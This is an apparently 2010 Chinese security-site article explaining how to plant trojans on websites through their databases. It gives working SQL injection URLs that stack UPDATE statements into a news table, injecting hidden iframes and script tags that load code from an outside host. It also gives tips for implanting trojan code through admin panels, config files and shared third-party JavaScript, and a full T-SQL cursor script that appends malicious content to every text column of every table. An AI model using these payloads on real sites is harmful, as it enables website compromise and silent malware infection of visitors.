让我们一起爱米兰
站内搜搜:
移动设备
请扫描二维码
或访问
m.milan100.com
您所在的位置 -> 米兰百分百 -> 信息安全 -> 数据库挂马

数据库挂马

点击数:1330 发表时间:2010-06-30 10:59:11 作者: 来源链接:
分享到:
分享到微信
  数据库挂马,这里我们拿mssql数据库为例子。

  这里说的是首页调用到的数据库,比如新闻,论坛,公告,等等,一般是标题。这些需要经验去检测,举个例子,比如首页有一条新闻为:“明日开业 ”,那么鼠标点此新闻,地址栏打开的新窗口为news.asp?id=1,这种情况,这时,就可以判断此新闻是从数据库中调用的了,当然了,我们不说 access,只说mssql。
首页,我们要有这个网站中的一个注入点,比如就点在vote.asp?id=123,同时,至少是 Db_owner权限,这时如果要挂马可以不用取到webshell,因为如果我们的目的只在于挂马的话,而且有时,还得检测mssql数据库和web服 务器不在同一个机器上,那挂马的方式就是更改数据库内容,这里我说的就是这种,如上面说的,首页显示的一条新闻标题为“明日开业”,如果首页显示的标题是 “明日开业</a><iframe src=http://www.hack166.com/mm.htm width=0 height=0></iframe>”,

那这样的话,首页就会执行这段代码了,像这种情况,找到了注入点,就得找表名,如此新闻的表名为news,字段为title,id,等等,根据猜 测,id=1时,暴出的字段title的值就为“明日开业”,那么90%就可以猜到了,首页调用的数据库的字段就为news表中的title,这时在注入 点,可以大胆提交vote.asp?id=123;update news set title='明日开业</a><iframe

src=http://www.hack166.com/mm.htm width=0 height=0></iframe>'

where id=1;--,这样就可以更改数据库了,前提是最少要少db_owner权限,当然也有时由于代码原因,也可以这样提交:vote.asp?id=123';update news set title='明日开业</a><ifrmae

src=http://www.hack166.com/mm.htm width=0 height=0></iframe>'where id=1 and'1'='1,也可以...
这种方法是有问题的,实战中存在不少问题,因为一般的情况下,标题都是通过<table>来限制宽度,也就是说如果你的标题的长度超过了指 定的长度,那么你的代码只能写一半,这样就不能执行了,所以挂马最好的方法是用<script>这种方法来挂马了, 如:vote.asp?id=123;update news set title='明日开业</a><script

src=http://www.hack166.com/mm.js></script>' where id=1;--长度有很大的减少,很不错。

后台挂马
通常注入等不到webshell,就只能靠进后台挂马。

这里说的是进入了后台,但不能通过后台得到webshell,这时要仔细关察后台,像比较网站的链接、顶部底部的广告、都可以直接写入你的木马代 码,等等,后台是灵活的,具体问题具体分析。不过有一点很重要,是不要打乱前台htm源文件里的代码逻辑,比如应该闭合前面 的<a><img>"( 等这些符号,应该先闭合掉如</a></img>")。

其它形式如一首页调用了<iframe src="/vote.asp?id=1&";no=view width=100></iframe>此种形势,一样可以在vote.asp中直接写入iframe木马代码,如果调用的是

<script

src="/vote.asp?id=1&";no=view width=100></script>在vote.asp写代码时,请用

document.write("")这种格式写入,当然,如果被挂文件中还有调用的文件可以继续往深处写,如果你够狠的话,直接写到数据库配置文 件中,如conn.asp,这样好多页面可以同时挂上你的一种木马了。当然这里也有js文件,一样原理。挂一个网站的马,不一定就得攻入他,有时没有方法 的同时,可以考虑跨站。好多站用了别的站的js文件,如:<script src=http://www.163.com/user.js>这种情势,这时就可以考虑只拿163.com的权限就行了,只要能修改到 user.js文件就可以挂到你要挂的站点了,同理,也有<iframe src=http://www.163.com/user.htm>此种情况,一样道理,剑走偏锋,达到目的,无论用什么招数了上面的是注入,下面 的的没看懂,估计是拿到服务器才行的

_________________________

以前说过的趋势挂马事件,MS这个挂马方法已经流行了很久,从去年就大规模开始了,在网上可以搜到很多痕迹。

SQL语句如下:

用游标遍历所有表里如下数据类型的字段,然后Update挂马。(全部是允许写入字符的字段)

xtype=99 ntext

xtype=35 text

xtype=231 nvarchar

xtype=167 varchar

———————YD的分割——————————–

DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select
a.name,b.name
from sysobjects a,
syscolumns b
where a.id=b.id and
a.xtype=’u’ and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec(’update [’+@T+’] set [’+@C+’]=
rtrim(convert(varchar,[’+@C+’]))+
”挂马内容”’)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

 

0
很 好
0
一 般
0
差 劲
热门新闻
相关文章
上一篇: 榨干MS SQL Server 最后一滴血
下一篇:
评论区
匿名

返回首页 | 收藏本页 | 回到顶部
Copyright 2010. 米兰百分百 Powered By Bridge.
京ICP备15050557号